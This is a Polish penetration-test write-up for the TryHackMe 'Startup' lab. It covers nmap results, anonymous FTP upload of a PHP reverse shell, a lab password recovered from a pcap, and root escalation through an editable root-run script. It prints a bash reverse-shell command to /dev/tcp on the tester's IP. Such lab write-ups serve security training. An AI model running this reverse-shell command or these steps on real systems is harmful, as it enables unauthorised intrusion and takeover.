Raport z Testów Penetracyjnych TryHackME "Startup"

Michał Lissowski

Tester i autor raportu	Michał Lissowski Michallissowski@gmail.com
Miejsce wykonania	Gdańsk
Data wykonania	0.7.11.2022
Testowana aplikacja/system	Linux, Apache

Niniejszy dokument jest podsumowaniem testu penetracyjnego wykonanego na https://tryhackme.com/room/startup .

Skanowanie : nmap

```
Starting Nmap 7.60 ( https://nmap.org ) at 2022-11-17 19:24 GMT
Nmap scan report for ip-10-10-9-7.eu-west-1.compute.internal (10.10.9.7)
Host is up (0.00071s latency).
Not shown: 997 closed ports
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| drwxrwxrwx    2 65534    65534        4096 Nov 12  2020 ftp [NSE: writeable]
| -rw-r--r--    1 0        0          251631 Nov 12  2020 important.jpg
|_-rw-r--r--    1 0        0             208 Nov 12  2020 notice.txt
| ftp-syst:
|   STAT:
| FTP server status:
|      Connected to 10.10.164.221
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 4
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
|_sslv2-drown:
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 b9:a6:0b:84:1d:22:01:a4:01:30:48:43:61:2b:ab:94 (RSA)
|   256 ec:13:25:8c:18:20:36:e6:ce:91:0e:16:26:eb:a2:be (ECDSA)
|_  256 a2:ff:2a:72:81:aa:a2:9f:55:a4:dc:92:23:e6:b4:3f (EdDSA)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-csrf: Couldn't find any CSRF vulnerabilities.
|_http-dombased-xss: Couldn't find any DOM based XSS.
| http-enum:
|_  /files/: Potentially interesting directory w/ listing on 'apache/2.4.18 (ubuntu)'
|_http-server-header: Apache/2.4.18 (Ubuntu)
| http-slowloris-check:
|   VULNERABLE:
|   Slowloris DOS attack
|     State: LIKELY VULNERABLE
|     IDs:  CVE:CVE-2007-6750
|       Slowloris tries to keep many connections to the target web server open and hold
|       them open as long as possible.  It accomplishes this by opening connections to
|       the target web server and sending a partial request. By doing so, it starves
|       the http server's resources causing Denial Of Service.
|
|     Disclosure date: 2009-09-17
|     References:
|       http://ha.ckers.org/slowloris/
|_      https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6750
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
|_http-title: Maintenance
MAC Address: 02:09:15:40:24:6D (Unknown)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 330.23 seconds
```

Opis skanowania i rekonesans

Skanowanie nmapem pokazało 3 otwarte porty. Port 21(ftp), 22 (ssh) oraz 80 (http). Skrypt "script=default,vuln" odkrył różne podatności. Na porcie 21 wykryto dostęp do uzytkownia "Anonymous".
Na porcie 80 i 21 został wykryty directory "Files" gdzie znajdują się pliki który można edytować, wgrać na server uruchomić. Można to wykorzystać do uruchomienia złosliwego skryptu. Została wykryta podatnosć "cve-2007-6750

Eskalacja uprawnień i dostęp

Za pomocą reverse shell php oraz nasłuchiwania oraz "ncat" udalo się uzyskac dostęp
Do użytkownika "www-data". W środku udalo się znaleźć plik o nazwie "suspicious.pcapng".
Po przeanalizowaniu go w programie "wireshark" znalezione zostało hasło:c4ntg3t3n0ughsp1c3
dla użytkowniak " lennie" co pozwoliło zalogowac się.
W katalogu scripts znajdywaly się 2 pliki "planner.sh " i "startup_list.txt" wykonywane dla "root".
Plik "print.sh " można było edytowac i dodac komende "bash -c '/bin/bash -i >& /dev/tcp/10.10.34.224/8888 0>&1'" co po wykonaniu dało dostęp do shella użytkownika root na nasłuchiwanym porcie.

Poniższe przedstawiona została tabela z wykrytymi podatnościami

Zagrożenie	Podatność	Opis
Krytyczne	Dostęp do plików na serwerze.	Możliwość edycji plików i wykonanie co prowadzi do przejęcia kontroli nad server i dalszą eskalację.
Krytyczne	Możliwość edycji i uruchomienie plików z uprawnieniami "root" przez zwykłych użytkowników.	Taka konfiguracja powoduje łatwą eskalacje uprawnień za pomocą wstrzyknięcia złośliwego Kodu i przejęcia dostępu do konta "root"
średnia	CVE-2007-6750	Apache HTTP Server 1.x i 2.x umożliwia zdalnym atakującym spowodowanie odmowy usługi (awarii demona) poprzez częściowe żądania HTTP, jak wykazał Slowloris, w związku z brakiem modułu mod_reqtimeout w wersjach wcześniejszych niż 2.2.15

Podsumowanie

Zostały znalezione podatności/luki pozwalające między innymi na:

- Łatwe przejęcie kontroli nad serwerem przez wstrzyknięcie złośliwego kodu

- Przejęcie kontroli nad dowolnym kontem użytkownika

- odczytanie i edycja plików przez użytkowników nieuprzywilejowanych

Zalecana naprawa oraz zapobieganie

Aktualizacja systemu Linux i poprawna konfiguracja użytkowników. Zablokowanie dostępu do ftp oraz pliki wrażliwe dla użytkowników nieuprzywilejowanych.